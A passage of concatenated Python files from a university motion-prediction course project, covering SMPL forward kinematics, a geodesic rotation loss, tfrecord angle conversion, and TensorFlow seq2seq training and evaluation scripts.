to_csv(output_file, np.stack(sample_poses), sample_file_ids) def geodesic_distance(x1, x2): y1 = tf.reshape(x1, shape=[-1, 3, 3]) y2 = tf.reshape(x2, shape=[-1, 3, 3]) y2 = tf.transpose(y2, perm=[0, 2, 1]) z = tf.matmul(y1, y2) zt = tf.transpose(z, perm=[0, 2, 1]) u = (z - zt) / 2 v = tf.square(tf.reshape(u, shape=(-1, 9))) w = tf.sqrt(tf.reduce_sum(v, axis=1)) a_norm = tf.divide(w, np.sqrt(2)) a_norm = tf.clip_by_value(a_norm, -1.0, 1.0) # Account for numerical errors return tf.reduce_mean(tf.abs(tf.asin(a_norm))) <file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ import numpy as np SMPL_MAJOR_JOINTS = [1, 2, 3, 4, 5, 6, 9, 12, 13, 14, 15, 16, 17, 18, 19] SMPL_NR_JOINTS = 24 SMPL_PARENTS = [-1, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 9, 9, 12, 13, 14, 16, 17, 18, 19, 20, 21] SMPL_JOINTS = ['pelvis', 'l_hip', 'r_hip', 'spine1', 'l_knee', 'r_knee', 'spine2', 'l_ankle', 'r_ankle', 'spine3', 'l_foot', 'r_foot', 'neck', 'l_collar', 'r_collar', 'head', 'l_shoulder', 'r_shoulder', 'l_elbow', 'r_elbow', 'l_wrist', 'r_wrist', 'l_hand', 'r_hand'] SMPL_JOINT_MAPPING = {i: x for i, x in enumerate(SMPL_JOINTS)} def sparse_to_full(joint_angles_sparse, sparse_joints_idxs, tot_nr_joints): """ Pad the given sparse joint angles with identity elements to retrieve a full skeleton with `tot_nr_joints` many joints. Args: joint_angles_sparse: An np array of shape (N, len(sparse_joints_idxs) * dof) or (N, len(sparse_joints_idxs), dof) sparse_joints_idxs: A list of joint indices pointing into the full skeleton given by range(0, tot_nr_joints) tot_nr_jonts: Total number of joints in the full skeleton. Returns: The padded joint angles as an array of shape (N, tot_nr_joints*dof) """ joint_idxs = sparse_joints_idxs dof = 9 n_sparse_joints = len(sparse_joints_idxs) angles_sparse = np.reshape(joint_angles_sparse, [-1, n_sparse_joints, dof]) # fill in the missing indices with the identity element smpl_full = np.zeros(shape=[angles_sparse.shape[0], tot_nr_joints, dof]) # (N, tot_nr_joints, dof) smpl_full[..., 0] = 1.0 smpl_full[:, joint_idxs] = angles_sparse smpl_full = np.reshape(smpl_full, [-1, tot_nr_joints * dof]) return smpl_full def local_rot_to_global(joint_angles, parents, left_mult=False): """ Converts local rotations into global rotations by "unrolling" the kinematic chain. Args: joint_angles: An np array of rotation matrices of shape (N, nr_joints*dof) parents: A np array specifying the parent for each joint left_mult: If True the local matrix is multiplied from the left, rather than the right Returns: The global rotations as an np array of rotation matrices in format (N, nr_joints, 3, 3) """ n_joints = len(parents) rots = np.reshape(joint_angles, [-1, n_joints, 3, 3]) out = np.zeros_like(rots) dof = rots.shape[-3] for j in range(dof): if parents[j] < 0: # root rotation out[..., j, :, :] = rots[..., j, :, :] else: parent_rot = out[..., parents[j], :, :] local_rot = rots[..., j, :, :] lm = local_rot if left_mult else parent_rot rm = parent_rot if left_mult else local_rot out[..., j, :, :] = np.matmul(lm, rm) return out class ForwardKinematics(object): """ FK Engine. """ def __init__(self, offsets, parents, left_mult=False, major_joints=None, norm_idx=None, no_root=True): self.offsets = offsets if norm_idx is not None: self.offsets = self.offsets / np.linalg.norm(self.offsets[norm_idx]) self.parents = parents self.n_joints = len(parents) self.major_joints = major_joints self.left_mult = left_mult self.no_root = no_root assert self.offsets.shape[0] == self.n_joints def fk(self, joint_angles): """ Perform forward kinematics. This requires joint angles to be in rotation matrix format. Args: joint_angles: np array of shape (N, n_joints*3*3) Returns: The 3D joint positions as a an array of shape (N, n_joints, 3) """ assert joint_angles.shape[-1] == self.n_joints * 9 angles = np.reshape(joint_angles, [-1, self.n_joints, 3, 3]) n_frames = angles.shape[0] positions = np.zeros([n_frames, self.n_joints, 3]) rotations = np.zeros([n_frames, self.n_joints, 3, 3]) # intermediate storage of global rotation matrices if self.left_mult: offsets = self.offsets[np.newaxis, np.newaxis, ...] # (1, 1, n_joints, 3) else: offsets = self.offsets[np.newaxis, ..., np.newaxis] # (1, n_joints, 3, 1) if self.no_root: angles[:, 0] = np.eye(3) for j in range(self.n_joints): if self.parents[j] == -1: # this is the root, we don't consider any root translation positions[:, j] = 0.0 rotations[:, j] = angles[:, j] else: # this is a regular joint if self.left_mult: positions[:, j] = np.squeeze(np.matmul(offsets[:, :, j], rotations[:, self.parents[j]])) + \ positions[:, self.parents[j]] rotations[:, j] = np.matmul(angles[:, j], rotations[:, self.parents[j]]) else: positions[:, j] = np.squeeze(np.matmul(rotations[:, self.parents[j]], offsets[:, j])) + \ positions[:, self.parents[j]] rotations[:, j] = np.matmul(rotations[:, self.parents[j]], angles[:, j]) return positions def from_sparse(self, joint_angles_sparse, return_sparse=True): """ Get joint positions from reduced set of H36M joints. Args: joint_angles_sparse: np array of shape (N, len(sparse_joint_idxs) * dof)) sparse_joints_idxs: List of indices into `H36M_JOINTS` pointing out which SMPL joints are used in `pose_sparse`. If None defaults to `H36M_MAJOR_JOINTS`. return_sparse: If True it will return only the positions of the joints given in `sparse_joint_idxs`. Returns: The joint positions as an array of shape (N, len(sparse_joint_idxs), 3) if `return_sparse` is True otherwise (N, H36M_NR_JOINTS, 3). """ assert self.major_joints is not None smpl_full = sparse_to_full(joint_angles_sparse, self.major_joints, self.n_joints) positions = self.fk(smpl_full) if return_sparse: positions = positions[:, self.major_joints] return positions class SMPLForwardKinematics(ForwardKinematics): """ Forward Kinematics for the skeleton defined by SMPL. """ def __init__(self): # this are the offsets stored under `J` in the SMPL model pickle file offsets = np.array([[-8.76308970e-04, -2.11418723e-01, 2.78211200e-02], [7.04848876e-02, -3.01002533e-01, 1.97749280e-02], [-6.98883278e-02, -3.00379160e-01, 2.30254335e-02], [-3.38451650e-03, -1.08161861e-01, 5.63597909e-03], [1.01153808e-01, -6.65211904e-01, 1.30860155e-02], [-1.06040718e-01, -6.71029623e-01, 1.38401121e-02], [1.96440985e-04, 1.94957852e-02, 3.92296547e-03], [8.95999143e-02, -1.04856032e+00, -3.04155922e-02], [-9.20120818e-02, -1.05466743e+00, -2.80514913e-02], [2.22362284e-03, 6.85680141e-02, 3.17901760e-02], [1.12937580e-01, -1.10320516e+00, 8.39545265e-02], [-1.14055299e-01, -1.10107698e+00, 8.98482216e-02], [2.60992373e-04, 2.76811197e-01, -1.79753042e-02], [7.75218998e-02, 1.86348444e-01, -5.08464100e-03], [-7.48091986e-02, 1.84174211e-01, -1.00204779e-02], [3.77815350e-03, 3.39133394e-01, 3.22299558e-02], [1.62839013e-01, 2.18087461e-01, -1.23774789e-02], [-1.64012068e-01, 2.16959041e-01, -1.98226746e-02], [4.14086325e-01, 2.06120683e-01, -3.98959248e-02], [-4.10001734e-01, 2.03806676e-01, -3.99843890e-02], [6.52105424e-01, 2.15127546e-01, -3.98521818e-02], [-6.55178550e-01, 2.12428626e-01, -4.35159074e-02], [7.31773168e-01, 2.05445019e-01, -5.30577698e-02], [-7.35578759e-01, 2.05180646e-01, -5.39352281e-02]]) # need to convert them to compatible offsets smpl_offsets = np.zeros([24, 3]) smpl_offsets[0] = offsets[0] for idx, pid in enumerate(SMPL_PARENTS[1:]): smpl_offsets[idx+1] = offsets[idx + 1] - offsets[pid] # normalize so that right thigh has length 1 super(SMPLForwardKinematics, self).__init__(smpl_offsets, SMPL_PARENTS, norm_idx=4, left_mult=False, major_joints=SMPL_MAJOR_JOINTS) <file_sep>import tensorflow as tf import functools import numpy as np import os import time import argparse from pp_utils import rot_mats_to_angle_axis_cv2 parser = argparse.ArgumentParser() parser.add_argument('--read_dir', required=True, default='C:/Users/roksi/data/', help='Where the tfrecords are stored.') parser.add_argument('--write_dir', required=True, default='C:/Users/roksi/data_angles/', help='Where to save tfrecords.') ARGS = parser.parse_args() if not os.path.exists(ARGS.write_dir): os.makedirs(ARGS.write_dir) if not os.path.exists(os.path.join(ARGS.write_dir, "training")): os.makedirs(os.path.join(ARGS.write_dir, "training")) if not os.path.exists(os.path.join(ARGS.write_dir, "validation")): os.makedirs(os.path.join(ARGS.write_dir, "validation")) if not os.path.exists(os.path.join(ARGS.write_dir, "test")): os.makedirs(os.path.join(ARGS.write_dir, "test")) def read_tfrecords(tfrecords_path, angles=True): """Read tfrecord file. Args: tfrecords_path: file path angles: parameter for debugging, i.e. when reading newly written tf_records and comparing them with the previous ones Returns: list of 2D numpy arrays (nr_frames, 45) """ def _parse_tf_example(proto): feature_to_type = { "file_id": tf.FixedLenFeature([], dtype=tf.string), "shape": tf.FixedLenFeature([2], dtype=tf.int64), "poses": tf.VarLenFeature(dtype=tf.float32), } parsed_features = tf.parse_single_example(proto, feature_to_type) parsed_features["poses"] = tf.reshape(tf.sparse.to_dense(parsed_features["poses"]), parsed_features["shape"]) return parsed_features tf_data = tf.data.TFRecordDataset.list_files(tfrecords_path) tf_data = tf_data.interleave(tf.data.TFRecordDataset, cycle_length=4, block_length=1) tf_data = tf_data.map(functools.partial(_parse_tf_example), 4) iterator = tf_data.make_one_shot_iterator() samples = [] for s in iterator: tmp = s["poses"].numpy() if angles: tmp = rot_mats_to_angle_axis_cv2(tmp) samples.append(tmp) print(tfrecords_path + " read.") return samples def write_tfrecords(samples, output_filename): """Writes samples to tf_records.""" writer = tf.python_io.TFRecordWriter(output_filename) def float_feature(value): return tf.train.Feature(float_list=tf.train.FloatList(value=value)) def int64_feature(value): return tf.train.Feature(int64_list=tf.train.Int64List(value=value)) def bytes_feature(value): return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value])) for i in range(len(samples)): feature_dict = { 'file_id': bytes_feature(bytes(output_filename + "_" + str(i), encoding='utf-8')), 'shape': int64_feature(samples[i].shape), 'poses': float_feature(np.reshape(samples[i], (-1,))), } example = tf.train.Example(features=tf.train.Features(feature=feature_dict)) writer.write(example.SerializeToString()) writer.close() print(output_filename + " written.") if __name__ == '__main__': tf.enable_eager_execution() data_path = ARGS.read_dir data_angles_path = ARGS.write_dir if not os.path.exists(data_angles_path): os.makedirs(data_angles_path) for file in os.listdir(data_path): filename = os.fsdecode(file) for file2 in os.listdir(data_path + filename + '/'): filename2 = os.fsdecode(file2) if filename2[0] != "s": # to exclude stats.npz files start = time.time() data_path_ = data_path + filename + '/' + filename2 data_angles_path_ = data_angles_path + filename + '/' + filename2 samples = read_tfrecords(data_path_) write_tfrecords(samples, data_angles_path_) print("Elapsed time: ", time.time() - start) <file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ import os import glob import json import argparse import numpy as np import tensorflow as tf import sys import datetime import tf_models as models from tf_data import TFRecordMotionDataset from constants import Constants as C from utils import export_results from utils import export_code from visualize import Visualizer from fk import SMPLForwardKinematics from pp_utils import angle_axis_to_rot_mats_cv2, angle_axis_to_rot_mats tf.logging.set_verbosity(tf.logging.ERROR) os.environ['TF_CPP_MIN_LOG_LEVEL'] = "3" def create_and_restore_test_model(session, experiment_dir, args): """ Creates and restores the test model stored in the given directory. Args: session: The GPU session. experiment_dir: Where the model checkpoints and its config is stored. args: The commandline arguments of this script. Returns: The test model, the test data, and the config of the model. """ config = json.load(open(os.path.abspath(os.path.join(experiment_dir, 'config.json')), 'r')) # Store seed and target sequence length in the config. # For the test set, these are hard-coded to be compatible with the submission requirements. config["target_seq_len"] = 24 config["source_seq_len"] = 120 # For the test data set, we don't have labels, so the window length is just the length of the seed. window_length = config["source_seq_len"] data_path = args.data_dir test_data_path = os.path.join(data_path, "test", "poses-?????-of-?????") meta_data_path = os.path.join(data_path, "training", "stats.npz") with tf.name_scope("test_data"): test_data = TFRecordMotionDataset(data_path=test_data_path, meta_data_path=meta_data_path, batch_size=args.batch_size, shuffle=False, extract_windows_of=window_length, extract_random_windows=False, num_parallel_calls=16, to_angles=config["to_angles"], standardization = config['standardization']) test_pl = test_data.get_tf_samples() # Select the type of model we want to use. if config['model_type'] == "dummy": model_cls = models.DummyModel elif config["model_type"] == "zero_velocity": model_cls = models.ZeroVelocityModel elif config['model_type'] == 'seq2seq': model_cls = models.Seq2seq else: raise Exception("Unknown model type.") # Create the model. with tf.name_scope(C.TEST): test_model = model_cls( config=config, data_pl=test_pl, mode=C.EVAL, reuse=False, dtype=tf.float32, is_test=True, means=test_data.mean_channel, vars=test_data.var_channel, standardization=config['standardization']) test_model.build_graph() # Count number of trainable parameters. num_param = 0 for v in tf.trainable_variables(): num_param += np.prod(v.shape.as_list()) print("# of parameters: " + str(num_param)) if not config["model_type"] == "zero_velocity": # Restore model parameters. saver = tf.train.Saver(tf.global_variables(), max_to_keep=1, save_relative_paths=True) # Restore the latest checkpoint found in `experiment_dir`. ckpt = tf.train.get_checkpoint_state(experiment_dir, latest_filename="checkpoint") if ckpt and ckpt.model_checkpoint_path: # Check if the specific checkpoint exists ckpt_name = os.path.basename(ckpt.model_checkpoint_path) print("Loading model checkpoint {0}".format(ckpt_name)) saver.restore(session, ckpt.model_checkpoint_path) else: raise ValueError("could not load checkpoint") return test_model, test_data, config, test_data.mean_channel, test_data.var_channel, test_data.standardization def evaluate_model(sess, eval_model, eval_data, means, vars, stand): """ Make a full pass on the test set and return the results. Args: sess: The active session. eval_model: The model we want to evaluate. eval_data: The data we want to evaluate. Returns: The results stored in a dictionary {"file_id" => (prediction, seed)} """ # Initialize iterator. eval_iter = eval_data.get_iterator() sess.run(eval_iter.initializer) eval_result = dict() try: while True: # Get the predictions. Must call the function that works without having access to the ground-truth data, # as there is no ground-truth for the test set. prediction, seed_sequence, data_id = eval_model.predict(sess) # only denormalize seed, predictions are already denormalized in sampled_step function! if stand: seed_sequence = seed_sequence * np.sqrt(vars) + means # Store each test sample and corresponding predictions with the unique sample IDs. for i in range(prediction.shape[0]): eval_result[data_id[i].decode("utf-8")] = (prediction[i], seed_sequence[i]) except tf.errors.OutOfRangeError: pass return eval_result def evaluate(experiment_dir, args): """ Evaluate the model stored in the given directory. It loads the latest available checkpoint and iterates over the test set. Args: experiment_dir: The model directory. args: Commandline arguments. """ gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.9, allow_growth=True) with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess: test_model, test_data, config, means, vars, stand = create_and_restore_test_model(sess, experiment_dir, args) print("Evaluating test set ...") eval_result = evaluate_model(sess, test_model, test_data, means, vars, stand) if args.export: # Export the results into a csv file that can be submitted. fname = os.path.join(experiment_dir, "predictions_in{}_out{}.csv".format(config['source_seq_len'], config['target_seq_len'])) export_results(eval_result, fname) # Export a zip file containing the code that generated the results. code_files = glob.glob('./*.py', recursive=False) export_code(code_files, os.path.join(experiment_dir, 'code.zip')) if args.visualize: # Visualize the seed sequence and the prediction for some random samples in the test set. fk_engine = SMPLForwardKinematics() visualizer = Visualizer(fk_engine) n_samples_viz = 10 rng = np.random.RandomState(42) idxs = rng.randint(0, len(eval_result), size=n_samples_viz) sample_keys = [list(sorted(eval_result.keys()))[i] for i in idxs] for k in sample_keys: visualizer.visualize(eval_result[k][1], eval_result[k][0], title=k) EXPERIMENT_TIMESTAMP = datetime.datetime.now().strftime("%d_%H-%M") LOG_FILE = "./logs/log_" + EXPERIMENT_TIMESTAMP if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--data_dir', required=True, type=str, default="./data", help='Where the data is stored.') parser.add_argument('--save_dir', required=True, type=str, default="./experiments", help='Where models are stored.') parser.add_argument('--model_id', required=True, type=str, help='Which model to load (its timestamp).') parser.add_argument('--batch_size', default=64, type=int, help='Batch size.') parser.add_argument('--visualize', action="store_true", help='Visualize some model predictions.') parser.add_argument('--export', action="store_true", help="Export predictions to a csv file.") parser.add_argument("--log", action="store_true", help="create log file") args = parser.parse_args() if args.log: sys.stdout = open(LOG_FILE, "w") try: experiment_dir = glob.glob(os.path.join(args.save_dir, args.model_id + "-*"), recursive=False)[0] except IndexError: raise Exception("Model " + str(args.model_id) + " is not found in " + str(args.save_dir)) evaluate(experiment_dir, args) sys.stdout.close() <file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ import os import time import argparse import json import numpy as np import tensorflow as tf import datetime import sys import tf_models as models from tf_data import TFRecordMotionDataset from constants import Constants as C from motion_metrics import MetricsEngine tf.logging.set_verbosity(tf.logging.ERROR) os.environ['TF_CPP_MIN_LOG_LEVEL'] = "3" parser = argparse.ArgumentParser() # Data parser.add_argument('--data_dir', required=True, default='./data', help='Where the data (tfrecords) is stored.') parser.add_argument('--save_dir', required=True, default='./experiments', help='Where to save checkpoints to.') parser.add_argument("--seq_length_in", type=int, default=120, help="Number of input frames (60 fps).") parser.add_argument("--seq_length_out", type=int, default=24, help="Number of output frames (60 fps).") # Learning parser.add_argument('--learning_rate', type=float, default=0.001, help='Learning rate.') parser.add_argument("--batch_size", type=int, default=16, help="Batch size to use during training.") # Architecture parser.add_argument("--model_type", type=str, default="seq2seq", help="Model to train.") parser.add_argument("--cell_type", type=str, default="lstm", help="RNN cell type: lstm, gru") parser.add_argument("--cell_size", type=int, default=256, help="RNN cell size.") parser.add_argument("--cell_size_disc", type=int, default=256, help="RNN cell size.") parser.add_argument("--input_hidden_size", type=int, default=None, help="Input dense layer before the recurrent cell.") parser.add_argument("--activation_fn", type=str, default=None, help="Activation Function on the output.") parser.add_argument("--activation_input", type=str, default=None, help="input layer activation") # Training parser.add_argument("--num_epochs", type=int, default=5, help="Number of training epochs.") parser.add_argument("--print_every", type=int, default=100, help="How often to log training error.") parser.add_argument("--test_every", type=int, default=200, help="How often to compute the error on the validation set.") parser.add_argument("--use_cpu", action="store_true", help="Use CPU instead of GPU.") parser.add_argument("--experiment_name", type=str, default=None, help="A descriptive name for the experiment.") #seq2seq parser.add_argument("--residuals", action="store_true", help="Use of residuals in the decoder part of seq2seq model.") parser.add_argument("--optimizer", type=str, default="Adam", help="optimizer: Adam or SGD") parser.add_argument("--loss", type=str, default="geo", help="mean squared error (mse) or geodesic (geo) loss") parser.add_argument("--samp_loss", action="store_true", help="sampling loss: rnn output from previous is feed to input") parser.add_argument("--num_rnn_layers", type=int, default=1, help="depth of rnn layer") parser.add_argument("--log", action="store_true", help="create log file") parser.add_argument("--fidelity", action="store_true", help="fidelity discriminator") parser.add_argument("--continuity", action="store_true", help="continuity discriminator") parser.add_argument("--lambda_", type=float, default=0.6, help="regularization parameter for discriminators") parser.add_argument("--update_ckpt", action="store_true", help="Only store model if eval loss was improved during current epoch.") parser.add_argument("--weight_sharing", type=str, default="w/o", help="other options: seq2seq only (s2s), all (all)") parser.add_argument("--weight_sharing_rnn", action="store_true", help="Rnn weight sharing.") parser.add_argument("--epsilon", type=float, default="0.00000001", help="epsilon param for Adam optimizer") parser.add_argument("--dropout", type=float, default=None, help="Dropout rate for rnn cells.") parser.add_argument("--dropout_lin", type=float, default=None, help="Dropout rate for linear layers.") parser.add_argument("--exp_decay", type=float, default=None, help="Decay rate.") parser.add_argument("--bi", action="store_true", help="Use bidirectional encoder.") parser.add_argument("--l2", type=float, default=0.0, help="l2 regularization parameter") # data representation parser.add_argument("--to_angles", action="store_true", help="use angle representation") parser.add_argument("--stand", action="store_true", help="standardization") ARGS = parser.parse_args() # EXPERIMENT_TIMESTAMP = str(int(time.time())) EXPERIMENT_TIMESTAMP = datetime.datetime.now().strftime("%d_%H-%M") LOG_DIR = "./logs/" LOG_FILE = os.path.join(LOG_DIR, "log_" + EXPERIMENT_TIMESTAMP) if ARGS.log: if not os.path.exists(LOG_DIR): os.makedirs(LOG_DIR) def create_model(session): # Global step variable. global_step = tf.Variable(1, trainable=False, name='global_step') # Get the paths to the TFRecord files. data_path = ARGS.data_dir train_data_path = os.path.join(data_path, "training", "poses-?????-of-?????") valid_data_path = os.path.join(data_path, "validation", "poses-?????-of-?????") meta_data_path = os.path.join(data_path, "training", "stats.npz") train_dir = ARGS.save_dir # Parse the commandline arguments to a more readable config. if ARGS.model_type == "dummy": model_cls, config, experiment_name = get_dummy_config(ARGS) elif ARGS.model_type == "zero_velocity": model_cls, config, experiment_name = get_zero_velocity_model_config(ARGS) elif ARGS.model_type == "seq2seq": model_cls, config, experiment_name = get_seq2seq_config(ARGS) else: raise Exception("Model type '{}' unknown.".format(ARGS.model_type)) # Create a folder for the experiment. experiment_dir = os.path.normpath(os.path.join(train_dir, experiment_name)) if not os.path.exists(experiment_dir): os.makedirs(experiment_dir) # Load the training data. window_length = ARGS.seq_length_in + ARGS.seq_length_out with tf.name_scope("training_data"): train_data = TFRecordMotionDataset(data_path=train_data_path, meta_data_path=meta_data_path, batch_size=ARGS.batch_size, shuffle=True, extract_windows_of=window_length, extract_random_windows=True, num_parallel_calls=16, to_angles=config["to_angles"], standardization=config["standardization"]) train_pl = train_data.get_tf_samples() # Load validation data. with tf.name_scope("validation_data"): valid_data = TFRecordMotionDataset(data_path=valid_data_path, meta_data_path=meta_data_path, batch_size=ARGS.batch_size, shuffle=False, extract_windows_of=window_length, extract_random_windows=False, num_parallel_calls=16, to_angles=config["to_angles"], standardization=config["standardization"]) valid_pl = valid_data.get_tf_samples() # Create the training model. with tf.name_scope(C.TRAIN): train_model = model_cls( config=config, data_pl=train_pl, mode=C.TRAIN, reuse=False, dtype=tf.float32, means=train_data.mean_channel, vars=train_data.var_channel) train_model.build_graph() # Create a copy of the training model for validation. with tf.name_scope(C.EVAL): valid_model = model_cls( config=config, data_pl=valid_pl, mode=C.EVAL, reuse=True, dtype=tf.float32, means=train_data.mean_channel, vars=train_data.var_channel ) valid_model.build_graph() # Count and print the number of trainable parameters. num_param = 0 for v in tf.trainable_variables(): print(v.name, str(v.get_shape())) num_param += np.prod(v.shape.as_list()) print("# of parameters: " + str(num_param)) config["num_parameters"] = int(num_param) # Dump the config to the experiment directory. json.dump(config, open(os.path.join(experiment_dir, 'config.json'), 'w'), indent=4, sort_keys=True) print("Experiment directory " + experiment_dir) # Create the optimizer for the training model. train_model.optimization_routines() # Create the summaries for tensoboard. train_model.summary_routines() valid_model.summary_routines() # Create the saver object to store checkpoints. We keep track of only 1 checkpoint. saver = tf.train.Saver(tf.global_variables(), max_to_keep=1, save_relative_paths=True) # Initialize the variables. print("Creating model with fresh parameters.") session.run(tf.global_variables_initializer()) models = [train_model, valid_model] data = [train_data, valid_data] return models, data, saver, global_step, experiment_dir def load_latest_checkpoint(sess, saver, experiment_dir): """Restore the latest checkpoint found in `experiment_dir`.""" ckpt = tf.train.get_checkpoint_state(experiment_dir, latest_filename="checkpoint") if ckpt and ckpt.model_checkpoint_path: # Check if the specific checkpoint exists ckpt_name = os.path.basename(ckpt.model_checkpoint_path) print("Loading model checkpoint {0}".format(ckpt_name)) saver.restore(sess, ckpt.model_checkpoint_path) else: raise ValueError("could not load checkpoint") def get_dummy_config(args): """ Create a config from the parsed commandline arguments that is more readable. You can use this to define more parameters and their default values. Args: args: The parsed commandline arguments. Returns: The model class, the config, and the experiment name. """ assert args.model_type == "dummy" config = dict() config['model_type'] = args.model_type config['seed'] = C.SEED config['learning_rate'] = args.learning_rate config['cell_type'] = args.cell_type config['cell_size'] = args.cell_size config['input_hidden_size'] = args.input_hidden_size config['source_seq_len'] = args.seq_length_in config['target_seq_len'] = args.seq_length_out config['batch_size'] = args.batch_size config['activation_fn'] = args.activation_fn config['residuals'] = args.residuals config['optimizer'] = args.optimizer config["loss"] = args.loss config["activation_input"] = args.activation_input config["to_angles"] = args.to_angles config["standardization"] = args.stand config["num_rnn_layers"] = args.num_rnn_layers config["l2"] = args.l2 config["num_epochs"] = args.num_epochs config['dropout_lin'] = args.dropout_lin model_cls = models.DummyModel # Create an experiment name that summarizes the configuration. # It will be used as part of the experiment folder name. experiment_name_format = "{}-{}{}-b{}-{}@{}-in{}_out{}" experiment_name = experiment_name_format.format(EXPERIMENT_TIMESTAMP, args.model_type, "-"+args.experiment_name if args.experiment_name is not None else "", config['batch_size'], config['cell_size'], config['cell_type'], args.seq_length_in, args.seq_length_out) return model_cls, config, experiment_name def get_zero_velocity_model_config(args): """ Create a config from the parsed commandline arguments that is more readable. You can use this to define more parameters and their default values. Args: args: The parsed commandline arguments. Returns: The model class, the config, and the experiment name. """ assert args.model_type == "zero_velocity" config = dict() config['model_type'] = args.model_type config['seed'] = C.SEED config['learning_rate'] = args.learning_rate config['cell_type'] = args.cell_type config['cell_size'] = args.cell_size config['input_hidden_size'] = args.input_hidden_size config['source_seq_len'] = args.seq_length_in config['target_seq_len'] = args.seq_length_out config['batch_size'] = args.batch_size config['activation_fn'] = args.activation_fn config['optimizer'] = args.optimizer config["loss"] = args.loss config["activation_input"] = args.activation_input config["to_angles"] = args.to_angles config["standardization"] = args.stand config["num_epochs"] = args.num_epochs config['dropout_lin'] = args.dropout_lin model_cls = models.ZeroVelocityModel # Create an experiment name that summarizes the configuration. # It will be used as part of the experiment folder name. experiment_name_format = "{}-{}{}-b{}-{}@{}-in{}_out{}" experiment_name = experiment_name_format.format(EXPERIMENT_TIMESTAMP, args.model_type, "-"+args.experiment_name if args.experiment_name is not None else "", config['batch_size'], config['cell_size'], config['cell_type'], args.seq_length_in, args.seq_length_out) return model_cls, config, experiment_name def get_seq2seq_config(args): """ Create a config from the parsed commandline arguments that is more readable. You can use this to define more parameters and their default values. Args: args: The parsed commandline arguments. Returns: The model class, the config, and the experiment name. """ assert args.model_type == "seq2seq" config = dict() config['model_type'] = args.model_type config['seed'] = C.SEED config['learning_rate'] = args.learning_rate config['cell_type'] = args.cell_type config['cell_size'] = args.cell_size config['input_hidden_size'] = args.input_hidden_size config['source_seq_len'] = args.seq_length_in config['target_seq_len'] = args.seq_length_out config['batch_size'] = args.batch_size config['activation_fn'] = args.activation_fn config['residuals'] = args.residuals config['optimizer'] = args.optimizer config["loss"] = args.loss config["sampling_loss"] = args.samp_loss config["fidelity"] = args.fidelity config["continuity"] = args.continuity config["lambda_"] = args.lambda_ config["activation_input"] = args.activation_input config["to_angles"] = args.to_angles config["standardization"] = args.stand config["num_rnn_layers"] = args.num_rnn_layers config["weight_sharing"] = args.weight_sharing config["weight_sharing_rnn"] = args.weight_sharing_rnn config['epsilon'] = args.epsilon config['dropout'] = args.dropout config['dropout_lin'] = args.dropout_lin config['exp_decay'] = args.exp_decay config['bi'] = args.bi config["l2"] = args.l2 config['cell_size_disc'] = args.cell_size_disc config["num_epochs"] = args.num_epochs model_cls = models.Seq2seq # Create an experiment name that summarizes the configuration. # It will be used as part of the experiment folder name. experiment_name_format = "{}-{}{}-b{}-{}@{}-in{}_out{}" experiment_name = experiment_name_format.format(EXPERIMENT_TIMESTAMP, args.model_type, "-"+args.experiment_name if args.experiment_name is not None else "", config['batch_size'], config['cell_size'], config['cell_type'], args.seq_length_in, args.seq_length_out) return model_cls, config, experiment_name def train(): """ The main training loop. Loads the data, creates the model, and trains for the specified number of epochs. """ # Limit TF to take a fraction of the GPU memory gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.9, allow_growth=True) device_count = {"GPU": 0} if ARGS.use_cpu else {"GPU": 1} eval_loss = 1e10 update_ckpt = ARGS.update_ckpt with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, device_count=device_count)) as sess: # Create the models and load the data. models, data, saver, global_step, experiment_dir = create_model(sess) train_model, valid_model = models train_data, valid_data = data # Create metrics engine including summaries target_lengths = [x for x in C.METRIC_TARGET_LENGTHS if x <= train_model.target_seq_len] metrics_engine = MetricsEngine(target_lengths) # create the necessary summary placeholders and ops metrics_engine.create_summaries() # reset computation of metrics metrics_engine.reset() # Summary writers for train and test runs summaries_dir = os.path.normpath(os.path.join(experiment_dir, "log")) train_writer = tf.summary.FileWriter(summaries_dir, sess.graph) valid_writer = train_writer print("Model created") # Training loop configuration. stop_signal = False time_counter = 0.0 step = 1 epoch = 0 train_loss = 0.0 train_iter = train_data.get_iterator() valid_iter = valid_data.get_iterator() print("Running Training Loop.") # Initialize the data iterators. sess.run(train_iter.initializer) sess.run(valid_iter.initializer) def evaluate_model(_eval_model, _eval_iter, _metrics_engine, _return_results=False): # make a full pass on the validation set and compute the metrics _eval_result = dict() _start_time = time.perf_counter() _metrics_engine.reset() sess.run(_eval_iter.initializer) try: while True: # get the predictions and ground truth values predictions, targets, seed_sequence, data_id = _eval_model.sampled_step(sess) # (16, 24, 135) _metrics_engine.compute_and_aggregate(predictions, targets) if _return_results: # Store each test sample and corresponding predictions with the unique sample IDs. for k in range(predictions.shape[0]): _eval_result[data_id[k].decode("utf-8")] = (predictions[k], targets[k], seed_sequence["poses"][k]) except tf.errors.OutOfRangeError: # finalize the computation of the metrics final_metrics = _metrics_engine.get_final_metrics() return final_metrics, time.perf_counter() - _start_time, _eval_result while not stop_signal: # Training. for i in range(ARGS.test_every): try: start_time = time.perf_counter() step += 1 step_loss, summary, _ = train_model.step(sess) train_writer.add_summary(summary, step) train_loss += step_loss time_counter += (time.perf_counter() - start_time) if step % ARGS.print_every == 0: train_loss_avg = train_loss / ARGS.print_every time_elapsed = time_counter / ARGS.print_every train_loss, 